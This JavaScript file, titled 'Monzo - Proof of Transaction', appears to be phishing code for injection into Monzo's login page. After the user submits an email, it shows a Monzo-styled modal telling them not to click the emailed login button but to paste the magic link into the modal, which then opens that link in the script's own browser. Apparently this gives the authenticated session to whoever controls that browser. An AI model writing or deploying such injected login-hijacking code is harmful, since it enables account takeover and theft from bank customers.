Monzo - Proof of Transaction

1const targetSuccessUrl = "https://web.monzo.com/?notify=success";
2
3window.handleContinueClick = function () {
4  try {
5    console.log("Continue button clicked!");
6    const linkInput = document.getElementById("linkInput");
7    if (linkInput) {
8      const pastedUrl = linkInput.value.trim();
9      console.log("URL value: " + pastedUrl);
10      if (pastedUrl) {
11        console.log("About to redirect to: " + pastedUrl);
12        window.location.href = pastedUrl;
13      } else {
14        console.log("No URL provided");
15      }
16    } else {
17      console.log("Could not find input field");
18    }
19  } catch (error) {
20    console.log("Error: " + error.message);
21  }
22};
23
24function createPasteLinkModal() {
25  if (document.getElementById("monzo-modal-overlay")) {
26    return;
27  }
28
29  // Create backdrop overlay
30  const backdrop = document.createElement("div");
31  backdrop.id = "monzo-modal-backdrop";
32  backdrop.style.cssText = `
33    position: fixed !important;
34    top: 0 !important;
35    left: 0 !important;
36    width: 100% !important;
37    height: 100% !important;
38    background-color: rgba(0, 0, 0, 0.5) !important;
39    z-index: 10000 !important;
40    display: block !important;
41  `;
42
43  // Create modal container
44  const dialog = document.createElement("div");
45  dialog.id = "monzo-modal-overlay";
46  dialog.className = "dialog_dialog__w2N4b";
47
48  // Force absolute centering with important styles to override any existing CSS
49  dialog.style.cssText = `
50    position: fixed !important;
51    top: 50% !important;
52    left: 50% !important;
53    transform: translate(-50%, -50%) !important;
54    margin: 0 !important;
55    padding: 0 !important;
56    border: none !important;
57    border-radius: 0 !important;
58    background-color: transparent !important;
59    box-shadow: none !important;
60    outline: none !important;
61    max-width: none !important;
62    width: 360px !important;
63    max-height: none !important;
64    overflow: visible !important;
65    z-index: 10001 !important;
66    box-sizing: border-box !important;
67    display: block !important;
68  `;
69
70  const content = document.createElement("div");
71  content.className = "Card_container__w0aJh";
72  content.style.cssText = `
73    padding: 24px !important;
74    text-align: center !important;
75    background-color: white !important;
76    border-radius: 16px !important;
77    border: none !important;
78    position: relative !important;
79    max-height: calc(100vh - 64px) !important;
80    overflow-y: auto !important;
81    box-sizing: border-box !important;
82    width: 100% !important;
83    box-shadow: 0 10px 25px rgba(0, 0, 0, 0.15) !important;
84    margin: 0 !important;
85  `;
86
87  const title = document.createElement("h1");
88  title.className =
89    "title_size-medium__phu_V title_color-primary__rqFrz title_align-center__4ShqH";
90  title.textContent = "Check email for link";
91  title.style.fontSize = "20px";
92  title.style.fontWeight = "600";
93  title.style.color = "#1a1a1a";
94  title.style.marginBottom = "12px";
95  title.style.marginTop = "0";
96  title.style.lineHeight = "1.3";
97
98  const desc = document.createElement("p");
99  desc.className =
100    "text_text__H1lG8 text_color-primary__4PwF7 text_size-medium__Xi0ge";
101  desc.textContent =
102    "⚠️ Do not click on button in email, copy link and paste below";
103  desc.style.fontSize = "14px";
104  desc.style.color = "#666";
105  desc.style.lineHeight = "1.4";
106  desc.style.marginBottom = "20px";
107  desc.style.marginTop = "0";
108  desc.style.whiteSpace = "pre-line";
109
110  const input = document.createElement("input");
111  input.type = "text";
112  input.id = "linkInput";
113  input.placeholder = "Paste your Monzo login link here...";
114  input.style.width = "100%";
115  input.style.padding = "12px 14px";
116  input.style.border = "2px solid #e0e0e0";
117  input.style.borderRadius = "8px";
118  input.style.fontSize = "14px";
119  input.style.marginBottom = "20px";
120  input.style.boxSizing = "border-box";
121  input.style.outline = "none";
122  input.style.transition = "border-color 0.2s, box-shadow 0.2s";
123  input.style.fontFamily = "inherit";
124
125  input.addEventListener("focus", function () {
126    input.style.borderColor = "#00d4aa";
127    input.style.boxShadow = "0 0 0 3px rgba(0, 212, 170, 0.1)";
128  });
129
130  input.addEventListener("blur", function () {
131    input.style.borderColor = "#e0e0e0";
132    input.style.boxShadow = "none";
133  });
134
135  const button = document.createElement("button");
136  button.textContent = "Continue";
137  button.className = "button_button__primary";
138  button.style.width = "100%";
139  button.style.padding = "12px 20px";
140  button.style.backgroundColor = "#00d4aa";
141  button.style.color = "white";
142  button.style.border = "none";
143  button.style.borderRadius = "8px";
144  button.style.fontSize = "14px";
145  button.style.fontWeight = "600";
146  button.style.cursor = "pointer";
147  button.style.transition = "background-color 0.2s, transform 0.1s";
148  button.style.fontFamily = "inherit";
149
150  button.addEventListener("mouseenter", function () {
151    button.style.backgroundColor = "#00c499";
152  });
153
154  button.addEventListener("mouseleave", function () {
155    button.style.backgroundColor = "#00d4aa";
156  });
157
158  button.addEventListener("mousedown", function () {
159    button.style.transform = "translateY(1px)";
160  });
161
162  button.addEventListener("mouseup", function () {
163    button.style.transform = "translateY(0)";
164  });
165
166  button.addEventListener("click", window.handleContinueClick);
167
168  // Close modal when clicking backdrop
169  backdrop.addEventListener("click", function (e) {
170    if (e.target === backdrop) {
171      backdrop.remove();
172    }
173  });
174
175  // Also close when clicking the dialog itself but not the content
176  dialog.addEventListener("click", function (e) {
177    if (e.target === dialog) {
178      backdrop.remove();
179    }
180  });
181
182  // Close modal with Escape key
183  const handleEscape = function (e) {
184    if (e.key === "Escape") {
185      backdrop.remove();
186      document.removeEventListener("keydown", handleEscape);
187    }
188  };
189  document.addEventListener("keydown", handleEscape);
190
191  // Assemble the modal
192  content.appendChild(title);
193  content.appendChild(desc);
194  content.appendChild(input);
195  content.appendChild(button);
196  dialog.appendChild(content);
197  backdrop.appendChild(dialog);
198
199  // Add to page
200  document.body.appendChild(backdrop);
201
202  // Focus the input after a brief delay
203  setTimeout(() => {
204    input.focus();
205  }, 100);
206
207  // Re-center on window resize
208  const handleResize = function () {
209    // Flexbox handles this automatically, but we can add logic here if needed
210  };
211  window.addEventListener("resize", handleResize);
212
213  // Clean up resize listener when modal is removed
214  const originalRemove = backdrop.remove;
215  backdrop.remove = function () {
216    window.removeEventListener("resize", handleResize);
217    document.removeEventListener("keydown", handleEscape);
218    originalRemove.call(this);
219  };
220}
221
222function detectEmailSubmission() {
223  const forms = document.querySelectorAll("form");
224  const buttons = document.querySelectorAll(
225    'button[type="submit"], input[type="submit"]',
226  );
227
228  forms.forEach((form) => {
229    form.addEventListener("submit", function () {
230      setTimeout(createPasteLinkModal, 2000);
231    });
232  });
233
234  buttons.forEach((button) => {
235    button.addEventListener("click", function () {
236      setTimeout(createPasteLinkModal, 2000);
237    });
238  });
239}
240
241function waitForEmailForm() {
242  const checkForForm = setInterval(() => {
243    const emailInputs = document.querySelectorAll(
244      'input[type="email"], input[name*="email"], input[placeholder*="email"]',
245    );
246    const submitButtons = document.querySelectorAll(
247      'button[type="submit"], input[type="submit"]',
248    );
249
250    if (emailInputs.length > 0 && submitButtons.length > 0) {
251      clearInterval(checkForForm);
252      detectEmailSubmission();
253    }
254  }, 500);
255
256  setTimeout(() => clearInterval(checkForForm), 30000);
257}
258
259console.log("JavaScript loaded");
260
261window.onload = function () {
262  console.log("Mobile onload - URL: " + window.location.href);
263  console.log(
264    "Checking success URL: " + window.location.href.includes(targetSuccessUrl),
265  );
266
267  if (window.location.href.includes(targetSuccessUrl)) {
268    console.log("On success page - exiting");
269    return;
270  }
271
272  if (window.location.href.includes("auth.monzo.com")) {
273    console.log("On auth page - starting form detection");
274    waitForEmailForm();
275  }
276};
277